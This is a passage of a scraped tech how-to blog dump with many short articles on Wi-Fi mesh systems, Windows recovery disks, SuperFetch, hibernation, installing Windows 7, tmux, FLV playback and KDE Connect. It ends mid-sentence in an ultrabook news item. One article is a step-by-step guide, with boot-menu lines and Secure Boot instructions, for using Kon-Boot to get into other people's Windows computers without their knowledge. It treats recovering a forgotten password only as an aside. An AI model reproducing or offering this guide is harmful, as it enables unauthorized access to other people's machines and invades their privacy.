you simplicity along with an easy-to-understand status LED.\nLuma Whole Home Wi-Fi (Best parental control feature)   Quick Wi-Fi and simple setup may sound appealing, but if you have a home full of children, you know that can also be dangerous. Fortunately, Luma has a lot of parental control features, so you don't have to worry too much about kids anymore. In the settings, accessed via the mobile app (but not supported on the desktop), you can set content filtering policy with 5 ratings: Unrestricted, R-rated, PG -13, PG and G. Then you can add users and assign them access levels. There is also a handy Pause feature that allows you to freeze Internet access on the entire network.\nIn addition to parental control, Luma also provides solid performance, thanks to three modules, each containing an 802.11ac router, a quad-core processor and two radio bands (2.4 GHz and 5GHz). They are AC1200 routers with a maximum speed of 300Mbps on the 2.4GHz band and 867Mbps on the 5GHz band. Its automatic band transfer feature directs traffic to the bandwidth in the most efficient way, giving you the fastest Wi-Fi speed. In general, this is a simple way to get a strong Wi-Fi signal and still allow you to maintain control over children.\nAbove are suggestions for the best Wi-Fi mesh systems at the moment. Hope they will be useful for you to decide which system to choose for your family. Wish you can choose the product you like!\nSee more:\n8 best long-range Wifi routers Notable indoor network devices at IFA 8 best Wifi security routers ncG1vNJzZmismaXArq3KnmWcp51kfnF5wZ6qrWWdmsCpedainaJlnprBuLvRpGSssaOpsq6%2F\n","link":"/post/10-best-mesh-wi-fi-network-systems/","section":"post","tags":null,"title":"10 best mesh Wi-Fi network systems"},{"body":"The most common way is to break or delete old passwords on Windows operating system, but if you do that, then it is detected as a certainty, to become a hacker, we have to access but they cannot detect.\nThis article I will share with you a way to bypass the Windows operating system password, applicable from the oldest version of Windows such as Win XP.Win 8 to Windows 10. The great thing in this tool is No need to break / delete old passwords, access Windows operating systems of others without their knowledge.\nHopefully the national cybersecurity department doesn't come to catch me :))\nI. Ignoring computer password (standard LEGACY Windows) 1. Tools to be prepared One USB Free Kon-Boot software Download here\n2. Installation instructions A. If USB has installed rescue kit - USB BOOT already exists - But KONBOOT is not yet integrated If you are trying to install a USB rescue kit, try using this Hiren's BootCD USB rescue tool kit.\nIn my article, I found that integrating Kon-Boot into this toolkit is very compatible\nStep 1: Extract the downloaded filekon-bootv2.4.rar\nCopy the entire file in the kon-bootUSB / USBFILES folder to the USB BOOT root directory\n    Step 2: Open the filemenu.lst\nWhere menu.Ist file, you can go to the USB partition containing the USB BOOT toolkit, navigate to the BOOT / grub folder\n  Open the file with Notepad\n  Step 2: Copy this command line at the end or beginning of the menu.Ist file\ntitle Kon-Boot v2.4 map –mem /konboot.img (fd0) map –hook chainloader (fd0) +1 map (hd1) (hd0) map –hook rootnoverify (fd0) title Kon-Boot (CURRENT VERSION) map - -mem /konboot.img (fd0) map --hook chainloader (fd0) +1 map (hd1) (hd0) map --hook rootnoverify (fd0) title Kon-Boot v2.1 (OLD VERSION) map --mem / konbootOLD.img (fd0) map --hook chainloader (fd0) +1 map (hd1) (hd0) map --hook rootnoverify (fd0)   Step 3: Save\n    Choose Yes.\n  Note: Where an error occurs\nYou do not have permission to open this file. See the owner of the file or an adminstrator obtain permissin .\nIf this error appears, handle it as follows.\n  Right-click menu \u0026gt;\u0026gt;\u0026gt; Select Properties\nGo to Security in the top toolbar \u0026gt;\u0026gt;\u0026gt; Click on Edit\n  In Group or user names: Select User (ADMINUsers)\nCheck Full control in the Alow column\nFinally click OK.\n  Go back to \" Step 2\" and Save again!\n  B. If you do not have USB BOOT, do the following:\nStep 1: Backup the data of USB\nStep 2: Format in FAT32 format.\nStep 3: Unzip kon-bootV2.4, go to kon-bootUSB folder\nRight-click on the file ' usb_install_RUNASADMIN.bat ' and select ' Run as adminstrator ' to run as administrator. If you use Windows XP, just double click it.\n I encourage you to install this way, as it is much faster than adding the Kon-Boot tool to the USB BOOT.\nFinally click OK to complete the process of writing / creating USB BOOT pass Windows password. So you have successfully created half already, the next depends on the security that their Windows is using\n3. How to use Kon-boot to bypass computer password (Standard Legacy) Step 1: Plug the USB into the computer.\nStep 2: Enter the BIOS using the keyboard stretcher like DELL, F12, F11 . different lifetimes, the way to enter the BIOS is also different, but mostly around that few keys!\nStep 3: Install BOOT to USB.\nStep 4: If the USB installed with BOOT rescue is available just adding tools then look for \u0026gt;\u0026gt;\u0026gt; launch tool to be effective!\nIf it is a new USB, then Boot into USB that it will automatically run\nII. Pass UEFI standard Windows password with Kon-Boot If your computer is using the UEFI - GPT standard, please follow the instructions below:\nStep 1: Create a USB BOOT that supports both Legacy and UEFI standards, see instructions from one of the following pages:\nUSB BOOT Anhdv Boot DLC BOOT 2019 Step 2: After booting the computer, quickly select BOOT EFI USB Device mode.\nDepending on the different mainbord mode options keys are usually DELL, F11, F12, F1 .\nStep 3: Navigate to Konboot EFI 64 tool. Launch the tool.\nWait a minute.\nAfter you see that Everything seems to be ready, press Enter immediately to become a hacker.\n  Now that Windows boots up and ignores the password, you can work with everything as usual.\nIf the dialog box still appears to enter the password, then press Enter a few times will be OK\nIII. Conclude General notes for both standards:\nUEFI BIOS and must DISABLED position Attempt Secure Boot before you start hacking.\n  Secure Boot must be set to Disabled.\n  Above is the guide as well as how to share for you the hurdles to enter Windows, with this way, you can bypass the login password and do with your friends' computers as you like.\nIn addition to hacking around, it's also a relief for those who forget their password. Good luck !!!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqppa60v4yaZLChnpm8uL%2BMqZisq6ekv6V5y56Yr52jYruwedOrmJyd\n","link":"/post/how-to-bypass-a-windows-password-leaves-no-trace/","section":"post","tags":null,"title":"How to bypass a Windows password leaves no trace"},{"body":" PCs may no longer come with Windows installation discs, but they do include utilities that allow users to create their own recovery disks. A recovery disc or flash drive can repair or restore a PC back to its original settings in the event...\nMethod 1of 2:\nWindows 8 and 10  Press ⊞ Win+S to launch Search, then type \"recovery drive\".[1] Since the advent of Windows 8, users can now choose between creating a recovery flash drive or system repair CD/DVD . Recovery flash drives are recommended because they can not only repair system issues, but also return the computer to its factory settings. The flash drive must be blank and at least 4GB for 32-bit systems and 8gb for 64-bit systems[2]. All data on the flash drive will be erased in the creation of the recovery drive. A system repair CD/DVD will NOT be able to reset the computer back to factory settings, but it can repair the current operating system and run diagnostic tools. Any blank CD or DVD will do the trick.   Select 'Create a Recovery Drive' from the search results. Regardless of which type of recovery media you decide to create, all options will appear in the 'Create a Recovery Drive' dialog.\n  Check 'Back up system files to the recovery drive,' then click 'Next.' This step is important if you're creating a recovery flash drive and want the option to reinstall Windows in the event of an emergency. It doesn't apply to users creating a CD or DVD. This option is called 'Copy the recovery partition from the PC to the recovery drive' in Windows 8. If the check box is grayed out, there's no recovery partition on the computer. You'll be able to use this disc or drive to boot and repair the computer in the event of an emergency, but not to reinstall Windows.   Click 'Next,' then choose a media option. You'll now be able to choose between creating a flash recovery drive or recovery discs. To make a recovery flash drive: Plug the flash drive into a USB port, then select it from the list. Or, just select it from the list, if it's already plugged in. To create CDs or DVDs: Click 'Create a system repair disc with a CD or DVD instead,' then select your CD/DVD ROM drive.   Click 'Next.' You'll see a reminder that any preexisting data on the drive or disc will be formatted and deleted.\n  Click 'Create' to build the recovery drive or disc. The recovery drive creator will format and copy necessary utilities to your flash drive or CD/DVD.\n  Click 'Finish' if you want to keep the recovery partition on your computer. The recovery partition is a special section of your hard drive dedicated to reinstalling the operating system in the event of an emergency. You should leave it intact so you can build a new recovery drive if necessary. If you no longer want the ability to make a recovery flash drive at a later date, click 'Delete the recovery partition.' This option will not appear if you don't have a recovery partition.   Remove the flash drive or CD/DVD. Make sure you store the recovery media in a safe place.\n Method 2of 2:\nWindows 7  Press ⊞ Win+E to launch Search, then type 'Backup.'[3] Recovery discs are called 'system repair discs' in Windows 7. In the event of an operating system emergency, you'll be able to boot from your system repair disc and access both repair and recovery/restore options.\n  Click 'Backup and Restore' in the search results. This will launch the Backup and Restore center, which is also where system repair/recovery discs are made.\n  Click 'Create a system repair disc.' The link is on the left side of the screen. If you're prompted to enter a Windows installation disc, do so and follow the prompts. You'll only see this message if the files necessary to create a recovery disc are missing.   Select the CD/DVD ROM drive from the dropdown menu. Upon choosing your CD/DVD ROM drive, the drive will pop open.\n  Insert a blank disc into the drive. The disc can be either a CD or DVD, and should be completely blank.\n  Click 'Create disc.' As the data burns to disc, the green progress bar will grow in length.\n  Click 'Close' when the process is complete. When the CD/DVD is ready, click 'Close.' The drive tray will eject.\n  Jessica Tanner Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZKudk6TDpr7YZpuiq5s%3D\n","link":"/post/how-to-create-a-recovery-disk/","section":"post","tags":null,"title":"How to Create a Recovery Disk"},{"body":"SuperFetch is available on Windows versions but very few users know. In the article below, Network Administrator will show you how to enable or disable SuperFetch on Windows 10/8/7.\n1. What is SuperFetch? SuperFetch is a system memory management service on the operating system, first introduced by Microsoft Windows on Windows Vista. This feature is available on Windows Vista, Windows 7, 8 and Windows 10 versions . SuperFetch is designed to reduce the loading time of applications in memory. In short, SuperFetch supports improving Windows load time and all applications installed on Windows.\nUnderstanding, SuperFetch is like a part of memory manager on your Windows computer.\nHowever, according to some users, it is reflected that the SuperFetch service can affect the overall performance of some applications. And that is why many users want to disable this service.\n  2. Enable or disable SuperFetch on Windows 10/8/7 2.1. Use Windows Services to disable SuperFetch The steps to disable SuperFetch with Windows are quite simple and do not take much time. Follow the steps below:\nFirst press the Windows + R key combination to open the Run command window. On the Run command window, enter services.msc there and press Enter or click OK to open the Windows Services window. Here, on the list of services you find the service named \" SuperFetch \".   Right-click the SuperFetch service and select Properties . Next click Stop to disable SuperFetch, then select the Disabled option in the Startup type section.   2.2. Enable or disable SuperFetch by using the Windows Registry Follow the steps below:\nFirst press the Windows + R key combination to open the Run command window. On the Run command window, enter regedit there and press Enter or click OK to open the Windows Registry window. On the Registry window you navigate to the key: H_KEY_LOCAL\u0026gt; SYSTEM\u0026gt; CurrentControlSet\u0026gt; Control\u0026gt; Session Manager\u0026gt; MemoryManagement\u0026gt; PrefetchParameters.\nHere in the right pane you find and double-click the option named: EnableSuperFetch . If this value is not found, right-click the PrefetchParameters folder and select New =\u0026gt; DWORD Value . Next enter the value below to enable or disable SuperFetch: + To disable SuperFetch, enter a value of 0.\n+ To activate SuperFetch when the program starts, enter a value of 1.\n+ To activate SuperFetch boot , enter a value of 2.\n+ To activate everything of SuperFetch, enter a value of 3.\nAfter entering the value, click OK and close the Registry Editor window . Refer to some of the following articles:\n10 common errors on Windows 10 and how to fix bugs To speed up the Windows 7 boot process, read this article No need to install any software, this is how to protect your folders safely Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYyapZ1llJ7Aoq7LnmSsraCav6ex05yfZqeeYsSqusOorqxlYWWFeA%3D%3D\n","link":"/post/how-to-enable-and-disable-superfetch-on-windows-10-8-7/","section":"post","tags":null,"title":"How to enable and disable SuperFetch on Windows 10/8/7?"},{"body":"Windows 7 is like other operating systems, you can install Windows 7 with USB , hard drive or Win disk. But installing Win 7 using USB in particular or installing Windows from USB is generally the most economical, easy and chosen way. Moreover, after creating a USB flash drive, you can reuse it many times to install on multiple computers. And we will not need to use the DVD drive from the publisher on the computer and can still install Win quickly.\nIn this article, we will guide you to read how to install Win 7 with USB from A to Z, start by creating USB install Win 7 to install and set up Windows 7 operating system with a USB device.\nPREPARING TO WIN WIN 7 BY USB\n1 USB minimum 4GB, NTFS format.Note: During the process, USB will be reformatted so you need to store all data in the USB to another device. File .ISO Windows 7 USB creation tool installs Windows 7 STEPS TO WIN WIN 7 BY USB\nStep 1:\nFirst of all, you need to download the file. ISO of Windows 7 Professional (x86) or (x64). Next, install Windows 7 USB software DVD Download tool supports Windows 7 installer on USB according to the link below.\nDownload Windows 7 USB / DVD Download Tool Requires computer to install NET Framework 2.0 or higher. Download the latest version of NET Framework according to the link below.\nDownload the .NET Framework for free Step 2:\nLaunch the Windows 7 USB / DVD Download Tool software. At the first interface click on the Browse button and then locate the folder containing the .ISO file. Then click Next .\n  Step 3:\nHere, users will select the installation tool Win 7 is USB device .\n  Step 4:\nNext, you need to select the USB device in progress of installing Windows 7, in case the computer is using multiple USB devices. Click Begin copying .\n  We wait for the complete Windows 7 USB boot process to create USB Windows 7 installation.\n  In addition, readers can also choose a number of other tools such as Rufus, Easy2Boot, USB Hiren's boot to create USB boot if desired.\nStep 5:\nFirst of all, we will need access to the BIOS on each device. The key combination on each device to enter the BIOS will vary, depending on the model. Readers refer to the article Guide to BIOS on different computers.\nIn the BIOS interface, go to the section to select the operating system boot order from USB. Read the article How to set up BIOS to boot from USB / CD / DVD, external hard drive.\n  Step 6:\nSoon you will get to the system installation interface. First, we will select the language and format the keyboard as shown below, then click Next to continue.\n  Step 7:\nNext, you need to click Install now to install the program on the system.\n  We need to wait for the setup process to be done.\n  Step 8:\nThe Microsoft terms of use interface appears, click I accept the license terms , then click Next .\n  Step 9:\nIn the next interface, you need to select the operating system partition. Click Next to continue if the hard drive has not been installed before.\n  If the computer is pre-installed with the operating system, we need to reformat the installation drive. You select Driver options (advanced) and then click Next .\n  Step 10:\nNext, select the partition and click Format below. Click Next to proceed.\n  Step 11:\nFinally the Windows 7 installation interface appears. Users need to wait for this installation to be completed.\n  During the installation process, the computer will automatically reboot and then continue the setup work.\n  Step 12:\nAfter that, the user will enter the user information as shown below and click Next. First of all, the username is Username . Click Next .\n  Then enter the password depending on the user chooses or not. Click Next to continue.\n  Step 13:\nIn the next interface, you will enter the license code if available in the Product Key box. In case there is no code, leave the check box in Automatic . Next click Next .\n  Step 14:\nThen the user sets the time, the standard time zone for the computer. Click Next to proceed to the next step.\n  Step 15:\nThe next step is to select the network connection you are using on your computer and click Next .\n  Step 16:\nThus, the process of setting up Windows 7 is complete. The last step is to wait for the computer to reboot.\n  Above is a tutorial on how to install Windows 7 operating system from a USB device. In case you do not have a DVD installation disc or a disc with problems, you can use a USB device to boot Windows 7 installation as the above method.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmrqKmlKTEtHmWZp2rp51iwrSu\n","link":"/post/how-to-install-windows-7-from-usb/","section":"post","tags":null,"title":"How to install Windows 7 from USB"},{"body":"Tmux is a multiplexer terminal (a tool that allows to use multiple terminals in a window) that integrates many useful features and is supported by a large number of community-created plugins.\nTerminal multiplexers like tmux and Screen give the terminal window super-power, allowing you to open multiple sessions in tabs and split screens.\nCombined with numerous terminal tools and session saving features, you can also restore Tmux sessions after a hard reboot.\nHow to manage and restore Tmux sessions in Linux? Install tmux Create Windows and Pane Install the plugin Plugin manager Resurrect  Install tmux Running tmux on a system is relatively simple if you are using a Linux distribution.\nFor Ubuntu, this means 'summoning' apt from the terminal and installing the package from the distribution's official repository. For other distributions, use the bundled package manager to handle installation (tmux is available on most distributions.)\nsudo apt-get install tmux    Create Windows and Pane In tmux, there are two terms used to describe the main types of layout configurations that a user can create.'Window' is the term in tmux for tabs. Creating a new window will create a tab that you can switch to with a simple command.\nOn the other hand, 'Pane' is the separated part in the current tab or 'Window', which can also be switched using the command.\nBefore starting to create these things, it's important to note that tmux is a method in the function. This means that the interaction with the terminal session and tmux occurs in separate 'modes'. This is useful, since you can use each individual terminal session normally open, without accidentally triggering the tmux command.\nTo get access to tmux and start issuing commands, first start a new tmux session and name it:\ntmux new -s babytmux    Feel free to change your name (like 'babytmux' for example)!\nTmux will open immediately and a new shell session will start. But we want to open more sessions, remember?\nTo enter tmux's command mode, you need to use the prefix, usually press Ctrl and b simultaneously. You won't see anything change after pressing the prefix, but you can type the commands by typing : right after. To exit command mode, complete the command by pressing Enter or pressing the ESC key to exit without making changes.\nWe will use a shortcut to create horizontal division: Press Ctrl and b , then \" .\n  Now you can navigate between the two sessions with the following keys: Ctrl and b , then o .\n  Each session is independent of each other, so you can open separate programs within each session. Divide the screen into 4 parts as follows: Ctrl and b , then press % .\nOpen whatever you want in each pane and it will keep running while you access other sessions.\n  To create a window, do the following: Press Ctrl and b , then c .\nYou can switch to the previous window or transition to another window with: Ctrl and b , then press p or Ctrl and b , then press n .\n  The status bar at the bottom of the screen shows you which process is running in each window and which window you're currently in.\nTo leave this tmux session, use: Ctrl and b , then type :detach-client .\n  The session will not stop running unless the machine is rebooted or you manually cancel it. To access it again, use the following command:\ntmux a -t babytmux  To make tmux sessions truly 'invincible' that you can come back after rebooting, you need to install one or two plugins.\nInstall the plugin Using the plugin in tmux is relatively simple. However, there is a plugin manager you can use to make installing the next plugin easier.\nPlugin manager To install Tmux Plugin Manager, we will copy its files from Github with the following code:\n# List of plugins set -g @plugin 'tmux-plugins/tpm' set -g @plugin 'tmux-plugins/tmux-sensible' # Other examples: # set -g @plugin 'github_username/plugin_name' # set -g @plugin 'git@github.com/user/plugin' # set -g @plugin 'git@bitbucket.com/user/plugin' # Initialize TMUX plugin manager (keep this line at the very bottom of tmux.conf) run -b '~/.tmux/plugins/tpm/tpm'    As you can see above, it is necessary to add the github username and plugin name (found in the plugin's github URL) for each plugin that you want to install from now on. The plugin manager will handle the rest. Use this code to make the plugin manager work:\ntmux source ~/.tmux.conf  Now, for plugins that need to recover a session after rebooting, continue reading the back of the article.\nResurrect Tmux Resurrect does exactly what its name implies and returns the saved session using a simple command.\nThis plugin can be installed by adding the following to the .tmux.conf file :\nset -g @plugin 'tmux-plugins/tmux-resurrect'    Now let Tmux Plugin Manager install it using the following command in tmux: Ctrl and b , then press I (This is an uppercase 'i').\n  Once installed, you can start a session and save it with the following commands: Ctrl and b , then press Ctrl + s .\nTo restore a session, you can use Ctrl and b , then press Ctrl + r .\n  Using the above method, you can maintain an 'immortal' tmux session with all your favorite tools and processes, even after rebooting. Try and explore more features of tmux to make the most of the terminal.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRo66osYyapZ1loprAtbvRnmStpaWterSx0qygqKajYravecuipa6w\n","link":"/post/how-to-manage-and-restore-tmux-sessions-in-linux/","section":"post","tags":null,"title":"How to manage and restore Tmux sessions in Linux"},{"body":"FLV is a file format commonly used for online video streaming on websites such as YouTube, MetaCafe, Vevo, and more. FLV isn't a default file format type on Windows and Mac OS X, but you can play FLV files using any third-party media...\nMethod 1of 3:\nVideoLAN VLC Media Player  Navigate to VideoLAN's official website at http://www.videolan.org/.\n  Select the option to download the VideoLAN VLC media player to your Windows or Mac computer.\n  Double-click on the installer file to launch the VideoLAN installation wizard, and follow the on-screen prompts to install the media player on your computer. The application will launch automatically when installation is complete.\n  Click on 'Media' at the top of your VideoLAN session, and select 'Open File.' The 'open file' dialog box will display on-screen.\n  Click on 'Browse,' then navigate to the FLV file you want opened.\n  Select the FLV file, then click on 'Open.' The FLV file will open and play within VideoLAN's media player.[1]\n Method 2of 3:\nWimpy Desktop FLV Player  Navigate to Wimpy's official website at http://www.wimpyplayer.net/products/wimpy_standalone_flv_player.html.\n  Select the option to download the Wimpy Desktop FLV Player to your Windows or Mac computer.\n  Double-click on the installer file to launch the Wimpy installation wizard, and follow the on-screen prompts to install the media player on your computer. The Wimpy media player will launch automatically when installation is complete.\n  Drag and drop the FLV file into the Wimpy media player. The FLV file will immediately open and begin playing.[2]\n Method 3of 3:\nFLV Player by Applian (Windows Only)  Navigate to the official website for Applian Technologies at http://flv-player.us/?src=mdv.\n  Click on the 'Download' link to download the FLV player to your Windows-based computer.\n  Right-click on the installer file and select 'Run as administrator.' This will launch the Applian installation wizard.\n  Follow the on-screen prompts to install the media player on your computer. FLV Player will launch automatically following installation.\n  Open a session of Windows Explorer and navigate to the FLV file you want opened.\n  Drag and drop the FLV file into the FLV Player. The FLV file will open and begin playing in the media player.[3]\n  Jessica Tanner Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiclsZussuvZJ%2BhnJrA\n","link":"/post/how-to-play-flv-files/","section":"post","tags":null,"title":"How to Play FLV Files"},{"body":" Unfortunately, iTunes does not have it's own account. What you can do to create a new profile for another device using the same computer for iTunes is to create a new iCloud account. Doing so will let another device use iTunes with a...\nMethod 1of 2:\nCreating an iCloud Account  Launch your iTunes software. Double-click the iTunes shortcut to launch it.\n  Create a new iCloud account. You'll need to create this account on the device you wish to use iTunes on. Navigate to \"Settings\" on your device, then iCloud. Enter the e-mail address you'd like to use as an alternate Apple ID.\n  Sign in with your Apple ID. Make sure this is the ID you want to use for purchases. Head to \"Settings\" then tap on iTunes and App Store. Sign in with the Apple ID you want to use.\n Method 2of 2:\nLogging In With Your New Account  Log into iTunes on your computer. In iTunes, click on \"Store\" in the Menu bar at the top and click \"Sign Out.\"\n  Sign in with the alternate account.\n  Marvin Fry Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIyaZKydoJa%2FosDEZqCtrZ6awG6twpymrqak\n","link":"/post/how-to-set-up-a-separate-itunes-account/","section":"post","tags":null,"title":"How to Set Up a Separate iTunes Account"},{"body":"If you are too \"boring\" with the usual representative photos on iOS, try sketching for yourself a Chibi style picture that we will guide below. With the iMadeFace application, you can easily \"portray\" portraits of any person in a lovely, funny way. Let's refer to offline.\nStep 1: From the main interface of the application, select the male or female sketch character\n  Step 2: You will have different tools at the top to sketch from the hair, face, . Select each part you want to sketch, then swipe from left to right to choose a style and swipe from top to bottom to choose colors\n  Step 3: This is the character we sketched very quickly\n  Step 4: After sketching, you can save it to memory or share it on social networks\n  Simulate face transformation on iPhone with Face Story 5 steps to set the vibration mode characteristic for callers on iPhone 3 ways to turn off annoying notifications from Game Center on iOS Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqubmsGktIycn6KamajBurjEZpivmaSWv7R5zqdkoqej\n","link":"/post/how-to-sketch-chibi-style-avatars-on-ios/","section":"post","tags":null,"title":"How to sketch Chibi-style avatars on iOS?"},{"body":"Hibernate or hibernation is a useful feature on Windows operating systems. Windows users use this mode in case of not using the laptop for a long time without wanting to close the documents.\nHibernate is integrated on Windows operating systems, from Windows Me, Windows 7, Windows 8 . until Windows 10. However, by default Hibernate mode (hibernation mode) on Windows versions, including including Windows 10 disabled.\nSo how to enable (or disable) Hibernate mode on Windows 10. Please refer to the following article of Network Administrator.\nEnable Hibernate Windows 10 hibernation mode 1. What is Hibernate mode? 2. Turn on Hibernate using the Command Prompt command 3. Turn on Hibernate (hibernation mode) Windows 10 using Control Panel 4. Go to Group Policy Editor to turn on hibernation mode 5. Use Registry Editor 6. How to turn off hibernation on Windows 10 1. What is Hibernate mode? Hibernate mode (hibernation mode) is similar to Sleep mode. However, in Hibernate mode (hibernation mode), your data will be saved to a file on the hard drive. This means that the computer will not consume power.\nWhen you reboot from Hibernate mode, like Sleep, the operating system and applications are running and your data is quickly retrieved from the hard drive and loaded into RAM so you can continue to work. job.\nSee also: How to get back 20GB of storage after the Windows 10 November update\nVideo tutorial to enable hibernation on Windows 10 2. Turn on Hibernate using the Command Prompt command If you are afraid to search for power settings on Windows 10, you can use cmd to turn on hibernation mode, as follows:\nStep 1: Open cmd with Admin rights on Windows 10:\n  Step 2: Enter the powercfg/h on command to enable hibernation on Windows 10.\n  3. Turn on Hibernate (hibernation mode) Windows 10 using Control Panel To enable Hibernate on Windows 10 with Control Panel, follow these steps:\nPress Windows + R key combination\u0026gt; enter Control panel \u0026gt; Enter :   View by: select Large icons or Small icons, scroll down to find and click on Power Options :   \nSelect \" Choose what the power buttons do \" on the left.   Click \" Change settings that are currently unavailable \".   Scroll down to find the Shutdown settings section, check \"Hibernate\".   Click Save changes to save the changes. 4. Go to Group Policy Editor to turn on hibernation mode To open Group Policy Editor , press Windows + R key combination to open the Run command window, then enter gpedit.msc in the Run command window and press Enter.\n  On the Local Group Policy Editor window, navigate to the path:\nComputer Configuration/Administrative Templates/Windows Components/File Explorer  Next in the right pane, double-click the \"Show hibernate in the power options menu\" option as shown below:\n  Next, to enable Hibernate, select the Enable item as shown below and click Apply \u0026gt; OK.\n  5. Use Registry Editor First, press the \"Windows + R\" key combination to open the Run command window, then enter regedit in the Run window and press Enter to open the Registry Editor.\n  On the Registry Editor window, copy and paste the following key guide into:\nComputerHKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlPower  Find HiberbootEnabled in the right window.\n  Double-click HiberbootEnabled and change the value in value to 1, click OK .\n  6. How to turn off hibernation on Windows 10 Since there are 2 ways to enable hibernation, you also have 2 ways to turn off hibernation on Windows 10.\nMethod 1: Like section 2, go to step 4 and uncheck the option in Hibernate, save the setting\nMethod 2: Open cmd in Admin mode, enter the command line: powercfg/h off\nThe above is a guide to turn on and off hibernation on Windows 10. Now when you reopen the Start Menu and click on the Power button, you will see the option to add (or disappear) the Hibernate option.\nYou can refer to some of the following articles:\nHow to activate Admin account on Windows 7, 8, and 10? How does Windows 7, 8 not automatically upgrade to Windows 10? Start Windows 10 \"as fast as the wind\" with Fast Startup Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tutMibnKumkamybrTIm5yrppGptrC6jKilZq%2BZo7Gww9JmaGk%3D\n","link":"/post/how-to-turn-hibernate-hibernation-on-windows-10/","section":"post","tags":null,"title":"How to turn Hibernate hibernation on Windows 10"},{"body":"KDE Connect is an extremely convenient way to link Android phones and Linux PCs. With KDE Connect, you can view notifications and reply to text messages on a desktop or laptop computer. You can also share files and links between two devices and control your PC from your phone.\nAlthough KDE Connect is very popular, it still doesn't integrate well with GTK desktops like MATE. Thankfully, there is a way to use KDE Connect with MATE on Ubuntu and Debian.\nInstructions for using KDE Connect with MATE on Ubuntu and Debian Install KDE Connect Install Flatpak Activate Flathub Install indicator-kdeconnect Get the app Phone connection Install KDE Connect Start by installing KDE Connect. Sure, KDE Connect has a lot of dependencies, but most of them are really just Qt libraries. You won't get many KDE or Plasma applications or even the desktop environment itself.\nKDE Connect is available in both the Debian and Ubuntu repositories, so install it with Apt.\nsudo apt install kdeconnect  Install Flatpak There are several different ways to install indicator-kdeconnect, but Flatpak is the easiest way. If you do not already have Flatpak on your system, install it.\nsudo apt install flatpak  Activate Flathub Now, activate the Flathub repository on the system. This is a main repository and it contains all the content that Flatpak provides, so you won't have to regret installing it. Chances are you'll use Flatpak again in the future.\nsudo flatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo  Install indicator-kdeconnect   Once you have added the repository to the system, you can install the indicator-kdeconnect.\nsudo flatpak install flathub com.github.bajoja.indicator-kdeconnect  During the installation process, you will be asked to install some GNOME dependency via Flatpak. They are very necessary and will not interfere with your system. Please confirm and continue installation.\nGet the app   Open Play Store and search for KDE Connect, then install it (usually the first result appears).\n  Open the application. You probably won't see many things there, but your computer will show up when you start KDE Connect.\nPhone connection Go back to the computer, log out of the user account and log in again. This is not always necessary, but you may need to do this to view the indicator from Flatpak in the launcher.\n  Open the Applications menu and view in the Internet tab . There you will see two KDE Connect options. Launch the KDE Connect Indicator .\nThe icon will appear in the system tray. Right-click it and select Configure.\n  \nA new window will open and you will see your device listed there. Click it to see the settings on the right side of the window. Then, at the top right, click the Request Pair button .\n  \nYou will receive a notification asking for pairing on the phone. Please accept the request. The screen will move on both the phone and the computer, letting you know they are paired. You now have full access to KDE Connect features.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqssMRmmqimnpqwtXnWoquhZZ2WwaZ5zqdkrpqlo8G2ecCnm2aclZe2oro%3D\n","link":"/post/how-to-use-kde-connect-with-mate-on-ubuntu-and-debian/","section":"post","tags":null,"title":"How to use KDE Connect with MATE on Ubuntu and Debian"},{"body":"How to enable trackpad mode on non-3D Touch phones like iPhone SE, iPhone 6/6 Plus or iPhone 5s and iPad? You can do that with iPhone phones with iOS 12 installed.\nThe trackpad mode on iPhone phones from iPhone 6S is extremely useful when editing text. However, this handy feature is not supported on phones without sensor technology. Fortunately with iOS 12, you can use this hover feature on iPhone SE, 6 Plus or iPhone 5s and iPad phones.\nNote: Some functions of the trackpad mode will not work on devices that do not support 3D Touch. For example, you cannot select a word or sentence by emphasizing the screen.\nHow to enable trackpad mode on iPhone 6, 6 Plus, iPhone SE, 5s or iPad with iOS 12 installed\nStep 1. Open any application you want to use trackpad mode. Now, open the keyboard as usual.\n  Step 2. To activate the trackpad mode, you need to touch and hold the Spacebar (spacebar).\n  Now experience this mode as new iPhone phones.\nHow to use the trackpad mode on iPhone 6, 6 Plus, iPhone SE, 5s or iPad with iOS 12 installed\nTo use text selection mode, simply click on any gray area while pressing the Spacebar. Then you need to drag your finger on the text to select. (On iPhone 3D Touch, you can tap the screen to select text).\n  When the text is selected, you can edit the text as usual. You don't need to hold down the Spacebar anymore. You can click on the selected text to access formatting options such as Cut, Copy, Paste, Share, Lookup, etc.\nSo you can take full advantage of this feature to edit text easily.\nSee more:\nHow to use Undo and Redo functions when writing text on iPhone Guide to making professional movies with iMovie on iPhone and iPad Instructions for making movies with iPhone How to create an ebook using Pages application on iPhone and iPad How to convert images into PDF files on iPhone and iPad ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1vsCcoqmZlGK6sLDEZqanZZmltbC6xA%3D%3D\n","link":"/post/how-to-use-trackpad-mode-on-iphone/","section":"post","tags":null,"title":"How to use trackpad mode on iPhone"},{"body":"Ultra-thin laptops made of fiberglass and plastic allow production costs to be reduced to 10 USD.\n  Asus AX21 will be one of the first ultrabooks released in September this year. (Photo: Notebookcheck.)\nAccording to Digitimes , manufacturers of ultra-thin laptops (ultrabooks) can use glass fiber processing materials due to limited supply of magnesium alloys.\nApple is said to be the subject of this situation because it is one of the biggest customers for Taiwan's magnesium alloy manufacturers. This makes it difficult for other notebook manufacturers to access supplies for this material.\n\"Apple\" Macbook computers use frames made of magnesium alloy to reduce the volume and thickness of the device while maintaining maximum performance. The company exported 2.7 million computers in the first quarter of 2011.\nMeanwhile, glass fiber is better and cheaper than magnesium alloy. Digitimes said that glass fiber and plastic compounds allow the price of 